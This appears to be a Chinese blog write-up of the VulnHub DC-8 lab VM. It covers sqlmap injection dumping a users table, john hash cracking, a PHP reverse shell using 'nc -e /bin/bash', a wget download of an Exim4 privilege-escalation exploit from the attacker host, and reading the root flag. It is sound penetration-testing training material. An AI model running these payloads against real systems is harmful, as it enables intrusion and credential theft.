脚本小子学习--vulnhub靶机DC8
@
前言
通过一些靶机实战练习,学习使用现有的工具来成为脚本小子。
一、环境搭建
- 靶机:Linux虚拟机 DC8(下载地址 https://www.vulnhub.com/entry/dc-8,367/),解压双击用VM虚拟机打开即可。
- 用于攻击的主机(本次采用kali)
- 确保主机和虚拟机在同一网段下。
二、目标和思路
- 绕过两因素身份验证,获得 root 并读取唯一的标志flag文件。
- 思路:信息收集->getshell->提权
三、实际操作
1.信息收集
查看靶机ip
使用netdiscover进行扫描,得到目标靶机的ip地址。
netdiscover -r 192.168.124.0/24
使用nmap扫描靶机端口,查看哪些端口开放。
nmap 192.168.124.134
发现存在web服务器,网页访问网站。
网站点击链接发现可能存在sql注入,使用sqlmap扫描。
#尝试获取数据库名
sqlmap -u http://192.168.124.134/?nid=1 --dbs
#尝试获取表名
sqlmap -u http://192.168.124.134/?nid=1 -D d7db --tables
发现其中含有user表,此表往往是登陆网站,破解的关键数据。
#尝试获取user表内的字段名
sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users --columns
#对user表内name和pass字段进行数据获取
sqlmap -u http://192.168.124.134/?nid=1 -D d7db -T users -C name,pass --dump
得到账号密码
密码明显可以看出是经过加密的,所以我们需要解密。使用john解密
先将数据存储进一个文件example.txt
中,并且以用户名:密码
的形式进行保存。#在文件当前目录下使用john解密
john example.txt
得到john的密码,admin的密码解密失败。使用dirb搜寻网站目录,获得登陆入口
dirb http://192.168.124.134
,发现目录中存在/user,进入页面输入账号密码登陆成功。
2.getshell
一顿乱点,发现找到了可以编写php代码的位置(点击左上角content->点击edit->点击webforms->点击form settings->点击下拉框选择php code
输入一句话木马上传反弹shell(此处无法找到路径所以用反弹shell)
<?php system("nc -n 192.168.124.134 9999 -e /bin/bash");?>
(简单解释:nc是netcat命令,用于两台设别互相交互,-e参数表示当连接成功时在本机开启一个terminal,所有输入会传入到terminal上。)保存后,先在kali上启动监听,等待靶机连接
nc -lvp 9999
在网页随意提交一个评论,启动连接
查看terminal发现连接成功,为了更方便的使用远程shell,可以尝试写一个python伪terminal来使用
python -c "import pty; pty.spawn('/bin/bash');"
查看安装的软件是否含有suid
find / -perm -4000 2>/dev/null
发现服务器软件exim4。使用searchsploit查找相关漏洞。
searchsploit exim4
找到漏洞提权文件linux/local/46996.sh
,打开文件,查看使用命令#usage instructions
function usage()
{
echo "$0 [-m METHOD]"
echo
echo "-m setuid : use the setuid payload (default)"
echo "-m netcat : use the netcat payload"
echo
exit 1
}
将该文件复制到kali apache服务器上,便于靶机下载(什么服务器都行)。
启动apache服务器
systemctl start apache2
,使用之前的反弹shell下载漏洞文件wget http://192.168.124.130/exim4.sh
(exim4.sh是漏洞文件,改了个名字)。权限不足时选择/tmp下载。下载成功后添加执行权限chmod 777 exim4.sh
。注意,直接运行脚本文件如果提示失败,有可能是格式问题,需要在主机上将脚本格式设置成符合unix格式。然后重新上传和下载。
vim exim4.sh
:set ff=unix
:wq
根据脚本内使用方法输入命令
./exim4.sh -m netcat
脚本运行成功后,成功打开/root/flag.txt文件,攻击成功。
总结
本次实验主要还是遵循 信息收集->getshell->提权 的思路,算是一次简单的入门实战练习。在更复杂的环境下还需要考虑更多方面的因素,需要不断实践总结。
脚本小子学习--vulnhub靶机DC8的更多相关文章
- Python大法之告别脚本小子系列—信息资产收集类脚本编写(下)
作者:阿甫哥哥 原文来自:https://bbs.ichunqiu.com/article-1618-1.html 系列文章专辑:Python大法之告别脚本小子系列目录: 0×05 高精度字典生成脚本 ...
- vulnhub靶机-Me and My Girlfriend: 1
vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...
- 详细介绍Linux shell脚本基础学习
Linux shell脚本基础学习这里我们先来第一讲,介绍shell的语法基础,开头.注释.变量和 环境变量,向大家做一个基础的介绍,虽然不涉及具体东西,但是打好基础是以后学习轻松地前提.1. Lin ...
- Shell脚本编程学习入门 02
Shell脚本编程学习入门是本文要介绍的内容,我们可以使用任意一种文字编辑器,比如gedit.kedit.emacs.vi等来编写shell脚本,它必须以如下行开始(必须放在文件的第一行): #! ...
- Shell脚本的学习(二)
Shell脚本的学习(二) 方法: 1) 一个计算器: 2)递归实现打印目录 3)方法调用
- Shell脚本的学习(一)
Shell脚本的学习(一) 一)代码式shell脚本简介 1.下载 Xshell 5 建一个文件夹 mkdri home/data ; 1)查看一个在data里建一个1.sh 查看是否建立成功. 2) ...
- Linux shell脚本全面学习
Linux shell脚本全面学习 1. Linux 脚本编写基础 1.1 语法基本介绍 1.1.1 开头 程序必须以下面的行开始(必须方在文件的第一行): #!/bin/sh 符号#!用来告诉系统它 ...
- Linux shell脚本基础学习详细介绍(完整版)二
详细介绍Linux shell脚本基础学习(五) Linux shell脚本基础前面我们在介绍Linux shell脚本的控制流程时,还有一部分内容没讲就是有关here document的内容这里继续 ...
- Linux shell脚本基础学习详细介绍(完整版)一
Linux shell脚本基础学习这里我们先来第一讲,介绍shell的语法基础,开头.注释.变量和 环境变量,向大家做一个基础的介绍,虽然不涉及具体东西,但是打好基础是以后学习轻松地前提.1. Lin ...
随机推荐
- 【Python从入门到精通】(九)Python中字符串的各种骚操作你已经烂熟于心了么?
您好,我是码农飞哥,感谢您阅读本文,欢迎一键三连哦. 本文将重点介绍Python字符串的各种常用方法,字符串是实际开发中经常用到的,所有熟练的掌握它的各种用法显得尤为重要. 干货满满,建议收藏,欢迎大 ...
- XCTF command_execution
讲道理这题算是我的思路盲区,先试着ping下本地的地址,127.0.0.1 看了大佬的wp时,我突然意识到,这是放在服务器上执行的,而且服务器一般都是linux系统的,所以linux命令是必需的, 思 ...
- 从源码角度谈谈MySQL "Too many open files"错误的根本原因
"Too many open files"是一个比较常见的错误,不仅仅是在 MySQL 中.只要是在 Linux 中启动的进程,都有可能遇到这个错误. 究其原因,是进程打开的文件描 ...
- 家庭账本开发day06
编写查询页面,学习layUI的动态表格使用,绑定数据源, table.render({ elem: '#currentTableId', url: '../ ...
- 【Mysql】InnoDB 引擎中的数据页结构
InnoDB 是 mysql 的默认引擎,也是我们最常用的,所以基于 InnoDB,学习页结构.而学习页结构,是为了更好的学习索引. 一.页的简介 页是 InnoDB 管理存储空间的基本单位,一个页的 ...
- deepin解压乱码
使用unzip命令解压:unzip -O GBK xxxx.zip -d xxx
- Appium - adb monkey事件(二)
操作事件简介 Monkey所执行的随机事件流中包含11大事件,分别是触摸事件.手势事件.二指缩放事件.轨迹事件.屏幕旋转事件.基本导航事件.主要导航事件.系统按键事件.启动Activity事件.键盘事 ...
- Lesson 11 Not guilty
Lesson 11 Not guilty guilty ['gɪlti] adj. 有罪的:内疚的 be guilty of - He is guilty of murder. be innocent ...
- AT2390 Games on DAG
AT2390 Games on DAG 题意 \(1,2\) 号点各一个石头,每次沿边移动一个石头,不能动者输.求所有连边子集中先手胜的情况. 思路 发现对于两个石头的 SG 函数是独立的,输者两个石 ...
- FormData提交文件(十四)
问题 在通过ajax提交表单时,表单中有Excel文件,在后台还需要读取excel文件中的数据,普通的提交方式无法实现.可以通过创建FormData对象的方式. 代码示例: 前端: 创建想要提交的fo ...